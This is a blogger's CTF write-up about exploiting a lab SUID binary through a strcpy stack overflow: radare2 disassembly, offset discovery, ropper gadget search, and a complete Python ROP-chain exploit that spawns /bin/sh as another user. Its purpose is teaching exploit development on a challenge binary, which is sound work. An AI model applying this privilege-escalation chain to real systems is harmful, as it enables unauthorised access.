CTF Write-up: Rob’s admin program


Last thursday I was participating in a CTF which had challenges in different categories of difficulty. This challenge was in the ‘ARGH’ category and labelled as very hard. I jumped right into it from the start of the CTF but unfortunately didn’t made it in time due to some stupid mistakes I made. Lucky for me I had a team which was performing exceptionally well and we still won the CTF!

I finished the binary about 2 minutes late and decided I would do a write-up about it.

Rob’s admin program

To do the actual challenge I had to SSH into a Linux machine with guest credentials that were provided with the challenge. This guest user had very limited rights, and I started to do the usual enumeration using the linux privilege escalation guide that was written by g0tmi1k.

In about a minute or two I found the binary that had a SUID set for the user rob and since this user also had access to the ‘flag.txt’ the path to take was pretty clear. There was a file in rob’s home folder called ‘TODO.txt’, this file made it clear that the whoami command was implemented in the binary and that the /bin/sh was still a work in progress.

When executing the binary without any arguments it displays the following output:

Hello and welcome to Rob's admin program! 
This program will use my permissions so that everyone can manage this server
This program needs an command line argument

For this challenge I mainly used radare2 for the initial binary information, reverse engineering, and debugging. I used the ropper tool to find the ROP gadgets that I could use to craft the final payload.

Reverse Engineering

I don’t have a workflow yet since I’m still new to reverse engineering and exploit development, but I like to take the same approach as most things in security; what is it that I am looking at?

Binary Information

To answser this question I used rabin2 -I command for some general information about the binary:

arch x86
baddr 0x8048000
binsz 6460
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
nx true
os linux

The above output confirms some of the assumptions I already made, the most notable things of the above output are:

  • It’s a 32-bit ELF binary;
  • It’s base address is located at 0x8048000;
  • It has the No eXecute bit set;

Analyzing Functions

Without dwelling too much on the information above I fired up radare to see if I could make something from the function calls. This can be done by executing the following commands:

r2 pvib_bin    // Load the binary with radare
aaa            // Analyze the binary
afl            // List the functions of the binary

The above commands display the following functions being present in the binary:

0x08048410 1 33 entry0
0x080483d0 1 6 sym.imp.__libc_start_main
0x08048450 4 43 sym.deregister_tm_clones
0x08048480 4 53 sym.register_tm_clones
0x080484c0 3 30 entry.fini0
0x080484e0 4 43 -> 40 entry.init0
0x08048710 1 2 sym.__libc_csu_fini
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x08048714 1 20 sym._fini
0x08048589 3 56 sym.add_sh_str
0x08048544 4 69 sym.add_bin_str
0x080485c1 1 41 sym.whoami
0x080483e0 1 6 sym.imp.setuid
0x080483c0 1 6 sym.imp.system
0x080485ea 4 75 sym.parser
0x0804850b 1 57 sym.exec_str
0x080483a0 1 6 sym.imp.setgid
0x080486b0 4 93 sym.__libc_csu_init
0x08048635 4 114 main
0x08048350 3 35 sym._init
0x08048390 1 6 sym.imp.strcpy
0x080483b0 1 6 sym.imp.puts
0x080483f0 1 6 sym.imp.strncmp

I highlighted the functions that stood out to me and proved to be useful in a later stage.


To get a little bit of a better understanding of the execution flow of the program I disassembled some of the functions in the binary, starting with the main function:

/ (fcn) main 114
| int main (int argc, char **argv, char **envp);
| ; var int32_t var_8h @ ebp-0x8
| ; arg int32_t arg_4h @ esp+0x4
| ; DATA XREF from entry0 @ 0x8048427
| 0x08048635 8d4c2404 lea ecx, [arg_4h]
| 0x08048639 83e4f0 and esp, 0xfffffff0
| 0x0804863c ff71fc push dword [ecx - 4]
| 0x0804863f 55 push ebp
| 0x08048640 89e5 mov ebp, esp
| 0x08048642 53 push ebx
| 0x08048643 51 push ecx
| 0x08048644 89cb mov ebx, ecx
| 0x08048646 83ec0c sub esp, 0xc
| 0x08048649 6864870408 push str.Hello_and_welcome_to_Rob_s_admin_program ; 0x8048764 ; const char *s
| 0x0804864e e85dfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048653 83c410 add esp, 0x10
| 0x08048656 83ec0c sub esp, 0xc
| 0x08048659 6890870408 push str.This_program_will_use_my_permissions_so_that_everyone_can_manage_this_server ; 0x8048790 ; const char *s
| 0x0804865e e84dfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048663 83c410 add esp, 0x10
| 0x08048666 c60560a00408. mov byte [obj.string], 0 ; [0x804a060:1]=0
| 0x0804866d 833b01 cmp dword [ebx], 1
| ,=< 0x08048670 7e16 jle 0x8048688
| | 0x08048672 8b4304 mov eax, dword [ebx + 4]
| | 0x08048675 83c004 add eax, 4
| | 0x08048678 8b00 mov eax, dword [eax]
| | 0x0804867a 83ec0c sub esp, 0xc
| | 0x0804867d 50 push eax
| | 0x0804867e e867ffffff call sym.parser
| | 0x08048683 83c410 add esp, 0x10
| ,==< 0x08048686 eb10 jmp 0x8048698
| || ; CODE XREF from main @ 0x8048670
| |`-> 0x08048688 83ec0c sub esp, 0xc
| | 0x0804868b 68e0870408 push str.This_program_needs_an_command_line_argument ; const char *s
| | 0x08048690 e81bfdffff call sym.imp.puts ; int puts(const char *s)
| | 0x08048695 83c410 add esp, 0x10
| | ; CODE XREF from main @ 0x8048686
| `--> 0x08048698 b800000000 mov eax, 0
| 0x0804869d 8d65f8 lea esp, [var_8h]
| 0x080486a0 59 pop ecx
| 0x080486a1 5b pop ebx
| 0x080486a2 5d pop ebp
| 0x080486a3 8d61fc lea esp, [ecx - 4]
\ 0x080486a6 c3 ret

In the above disassembly view it is shown that the function sym.parser is being called after the initial message is printed. It seems that most of the inner workings are present in the sym.parser function. This can be verified by printing the disassembly view of this function:

/ (fcn) sym.parser 75
| sym.parser (char *src);
| ; var char *dest @ ebp-0x6c
| ; arg char *src @ ebp+0x8
| ; CALL XREF from main @ 0x804867e
| 0x080485ea 55 push ebp
| 0x080485eb 89e5 mov ebp, esp
| 0x080485ed 83ec78 sub esp, 0x78
| 0x080485f0 83ec04 sub esp, 4
| 0x080485f3 6a06 push 6 ; 6 ; size_t n
| 0x080485f5 6840870408 push str.whoami ; const char *s2
| 0x080485fa ff7508 push dword [src] ; const char *s1
| 0x080485fd e8eefdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
| 0x08048602 83c410 add esp, 0x10
| 0x08048605 85c0 test eax, eax
| ,=< 0x08048607 7507 jne 0x8048610
| | 0x08048609 e8b3ffffff call sym.whoami
| ,==< 0x0804860e eb22 jmp 0x8048632
| || ; CODE XREF from sym.parser @ 0x8048607
| |`-> 0x08048610 83ec08 sub esp, 8
| | 0x08048613 ff7508 push dword [src] ; const char *src
| | 0x08048616 8d4594 lea eax, [dest]
| | 0x08048619 50 push eax ; char *dest
| | 0x0804861a e871fdffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
| | 0x0804861f 83c410 add esp, 0x10
| | 0x08048622 83ec0c sub esp, 0xc
| | 0x08048625 6847870408 push str.Please_use_a_valid_command ; const char *s
| | 0x0804862a e881fdffff call sym.imp.puts ; int puts(const char *s)
| | 0x0804862f 83c410 add esp, 0x10
| | ; CODE XREF from sym.parser @ 0x804860e
| `--> 0x08048632 90 nop
| 0x08048633 c9 leave
\ 0x08048634 c3 ret

The function sym.parser is the parser for the commandline arguments given when executing the binary. In the first part of this function a compare is being done between the string whoami and the input that was given by the user. If the input of the user matches the string ‘whoami’ it will not jump to address 0x8048610 and execute the call to sym.whoami.

After looking through the binary it was clear that the functions sym.add_bin_str and sym.add_sh_str are the functions needed to execute the /bin/sh.

But just executing /bin/sh is not the goal of the challenge, the actual goal of the challenge is to execute this as the user rob. To execute the /bin/sh command as the user rob, one extra function is needed which is the sym.exec_str function:

/ (fcn) sym.exec_str 57
| sym.exec_str ();
| 0x0804850b 55 push ebp
| 0x0804850c 89e5 mov ebp, esp
| 0x0804850e 83ec08 sub esp, 8
| 0x08048511 83ec0c sub esp, 0xc
| 0x08048514 68e9030000 push 0x3e9 ; 1001
| 0x08048519 e882feffff call sym.imp.setgid
| 0x0804851e 83c410 add esp, 0x10
| 0x08048521 83ec0c sub esp, 0xc
| 0x08048524 68e9030000 push 0x3e9 ; 1001
| 0x08048529 e8b2feffff call sym.imp.setuid
| 0x0804852e 83c410 add esp, 0x10
| 0x08048531 83ec0c sub esp, 0xc
| 0x08048534 6860a00408 push obj.string ; 0x804a060 ; const char *string
| 0x08048539 e882feffff call sym.imp.system ; int system(const char *string)
| 0x0804853e 83c410 add esp, 0x10
| 0x08048541 90 nop
| 0x08048542 c9 leave
\ 0x08048543 c3 ret

The above function makes sure that the SGID and SUID are set to the value of rob (1001) before calling the system function to execute the /bin/sh command.

At this point it is time to look at the functions that are not yet implemented, starting with sym.add_bin_str:

/ (fcn) sym.add_bin_str 69
| sym.add_bin_str (uint32_t arg_8h, uint32_t arg_ch);
| ; arg uint32_t arg_8h @ ebp+0x8
| ; arg uint32_t arg_ch @ ebp+0xc
| 0x08048544 55 push ebp
| 0x08048545 89e5 mov ebp, esp
| 0x08048547 57 push edi
| 0x08048548 817d08dec0ad. cmp dword [arg_8h], 0xdeadc0de
| ,=< 0x0804854f 7534 jne 0x8048585
| | 0x08048551 817d0cedfead. cmp dword [arg_ch], 0xbadfeed
| ,==< 0x08048558 752b jne 0x8048585
| || 0x0804855a b860a00408 mov eax, obj.string ; 0x804a060
| || 0x0804855f b9ffffffff mov ecx, 0xffffffff
| || 0x08048564 89c2 mov edx, eax
| || 0x08048566 b800000000 mov eax, 0
| || 0x0804856b 89d7 mov edi, edx
| || 0x0804856d f2ae repne scasb al, byte es:[edi]
| || 0x0804856f 89c8 mov eax, ecx
| || 0x08048571 f7d0 not eax
| || 0x08048573 83e801 sub eax, 1
| || 0x08048576 0560a00408 add eax, obj.string ; 0x804a060
| || 0x0804857b c7002f62696e mov dword [eax], 0x6e69622f ; '/bin'
| ||                                                     ; [0x6e69622f:4]=-1
| || 0x08048581 c6400400 mov byte [eax + 4], 0
| || ; CODE XREFS from sym.add_bin_str @ 0x804854f, 0x8048558
| ``-> 0x08048585 90 nop
| 0x08048586 5f pop edi
| 0x08048587 5d pop ebp
\ 0x08048588 c3 ret

The sym.add_bin_str function takes 2 arguments, the first one (0xdeadc0de) is stored in arg_8h and the second one (0xbadfeed) is stored in arg_ch. This information is important for building the eventual ROP chain since this would likely mean that a POP,POP,RET gadget is needed to pull this off in the right order.

The next function that is need is the sym.add_sh_str:

/ (fcn) sym.add_sh_str 56
| sym.add_sh_str (uint32_t arg_8h);
| ; arg uint32_t arg_8h @ ebp+0x8
| 0x08048589 55 push ebp
| 0x0804858a 89e5 mov ebp, esp
| 0x0804858c 57 push edi
| 0x0804858d 817d08adaaaa. cmp dword [arg_8h], 0xbaaaaaad
| ,=< 0x08048594 7527 jne 0x80485bd
| | 0x08048596 b860a00408 mov eax, obj.string ; 0x804a060
| | 0x0804859b b9ffffffff mov ecx, 0xffffffff
| | 0x080485a0 89c2 mov edx, eax
| | 0x080485a2 b800000000 mov eax, 0
| | 0x080485a7 89d7 mov edi, edx
| | 0x080485a9 f2ae repne scasb al, byte es:[edi]
| | 0x080485ab 89c8 mov eax, ecx
| | 0x080485ad f7d0 not eax
| | 0x080485af 83e801 sub eax, 1
| | 0x080485b2 0560a00408 add eax, obj.string ; 0x804a060
| | 0x080485b7 c7002f736800 mov dword [eax], 0x68732f ; '/sh'
| |                                                   ; [0x68732f:4]=-1
| | ; CODE XREF from sym.add_sh_str @ 0x8048594
| `-> 0x080485bd 90 nop
| 0x080485be 5f pop edi
| 0x080485bf 5d pop ebp
\ 0x080485c0 c3 ret

The function takes 1 argument (0xbaaaaaad) which is stored in arg_8h and will add the /sh string if it matches.

Exploiting the Binary

With most of the important information in hand I started to fuzz the binary with the input that it takes. I like to use the cyclic function of pwntools for this. With cyclic you can generate a random pattern of a given length, if you manage to crash the program you can take a look at the registers to find the offset of the overflow.

Finding the right offset

I started with a buffer of 150 characters and managed to trigger a crash, with this information I fired up radare in debugging mode with the 150 characters as an argument:

r2 -d pvib_bin [150 random char]    // Start radare with the random pattern as argument
dcu sym.parser                      // Continue running until the sym.parser function
dsu 0x08048634                      // Step until the return address

Now we can look at the register values using the dr command:

eax = 0x0000001b
ebx = 0xffcebac0
ecx = 0x093ff160
edx = 0xf7f43890
esi = 0xf7f42000
edi = 0x00000000
esp = 0xffceba8c
ebp = 0x62616163
eip = 0x08048634
eflags = 0x00000282
oeax = 0xffffffff

At this point EBP is overwritten with the values 0x62616163, this translates to ASCII baac. Be aware that values stored in the registries are little-endian, to find the value with cyclic_find it needs to be read as caab. According to pwntool’s cyclic_find function this value is located at offset 108, this would mean that EIP gets overwritten at offset 112. We can verify this assumption by stepping once in the radare debugger with ds and reading the register values again:

eax = 0x0000001b
ebx = 0xffcebac0
ecx = 0x093ff160
edx = 0xf7f43890
esi = 0xf7f42000
edi = 0x00000000
esp = 0xffceba90
ebp = 0x62616163
eip = 0x62616164
eflags = 0x00000282
oeax = 0xffffffff

EIP is indeed overwritten with some of the random characters; 0x62616164, which translates to ASCII baad (again little-endian), at offset 112.

The reason that this vulnerability exists is because there are no checks being done on the actual length of the argument before the strcpy is called. This results in the buffer being too big to be copied and thus overflowing the stack.

Finding Gadgets

Since the NX bit set we cannot directly execute code written to the stack. To get around this I can use ROP gadgets to return to the functions holding the strings to form /bin/sh and execute these with the sym.exec_str function.

To find the right ROP gadgets I need to look at the arguments passed to the functions sym.add_bin_str and sym.add_sh_str. The sym.add_bin_str takes two arguments and thus needs a ROP gadget containing POP,POP,RET. The sym.add_sh_str takes one argument and will need a ROP gadget containing POP,RET. The gadgets can be found by using ropper.

Running ropper with the argument to find the right gadgets reveals the following:

./Ropper.py --file pvib_bin --search "pop"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: ../rob
0x080486a2: pop ebp; lea esp, [ecx - 4]; ret; 
0x0804896b: pop ebp; ror dword ptr [ecx + eax], 0; inc ecx; ret; 
0x08048587: pop ebp; ret; 
0x080486a1: pop ebx; pop ebp; lea esp, [ecx - 4]; ret; 
0x08048708: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x08048371: pop ebx; ret; 
0x080486a0: pop ecx; pop ebx; pop ebp; lea esp, [ecx - 4]; ret; 
0x08048586: pop edi; pop ebp; ret; 
0x08048709: pop esi; pop edi; pop ebp; ret; 
0x080486a4: popal; cld; ret;

Ropper shows a couple of gadgets that can be used to create the ROP chain:

  • The gadgets at address 0x08048586 can be used for sym.add_bin_str;
  • The gadgets at address 0x08048371 can be used for sym.add_sh_str;

Putting the pieces together

With all the needed information an exploit can be developed that will use the ROP chain to do the following:

  • Create a buffer as initial overflow to replace the value with EIP with the address to sym.add_bin_str;
  • Add the ROP gadget address with POP EDI, POP EBP, RET instructions for the 2 arguments that sym.add_bin_str takes;
  • Add the values of the 2 arguments of sym.add_bin_str;
  • Add the address to function sym.add_sh_str;
  • Add the ROP gadget address with POP EBX, RET instructions for the argument that sym.add_sh_str takes;
  • Add the value of the argument of sym.add_sh_str;
  • Add the address of the function sym.exec_str to return to after pushing the /bin/sh value into memory;

I put the following Python script together for the exploit, this version is provided with comments and looks a lot better than the initial script I had running during the CTF:

import os 
import struct 

# add_bin_str address, gadget and arguments 
add_bin_str_arg1 = struct.pack('<I', 0xdeadc0de) 
add_bin_str_arg2 = struct.pack('<I', 0xbadfeed) 
add_bin_str_gadget = struct.pack('<I', 0x08048586) 
add_bin_str = struct.pack('<I', 0x08048544) 

# add_sh_str address, gadget and argument 
add_sh_str_arg = struct.pack('<I', 0xbaaaaaad) 
add_sh_str_gadget = struct.pack('<I', 0x08048371) 
add_sh_str = struct.pack('<I', 0x08048589) 
exec_str = struct.pack('<I', 0x0804850b) 

# exec_str address 
buffer = "A" * 112               

 # Initial overflow @ 112 bytes 
add_bin = add_bin_str
# Address to function add_bin_str 
add_bin += add_bin_str_gadget
# Address to POP EDI; POP EBP; RET; 
add_bin += add_bin_str_arg1 
# 0xdeadc0de 
add_bin += add_bin_str_arg2 
# 0xbadfeed 
add_sh = add_sh_str   
# Address to function add_sh_str 
add_sh += add_sh_str_gadget  
# Address to POP EBX; RET; 
add_sh += add_sh_str_arg   
# 0xbaaaaaad 
exploit = buffer + add_bin + add_sh + exec_str 

os.system('./pvib_bin ' + exploit)


I definitely learned a lot by doing this again and actually writing down the steps I took to get to the end goal. During this second run on the binary I used radare instead of gdb-peda because I wanted to learn how to this with radare.

The next challenge I will definitely use the r2pipe module that will let me interact with the binary using Python. This will allow me to automate more of the tasks that I would now do by hand but are in fact quite repetitive.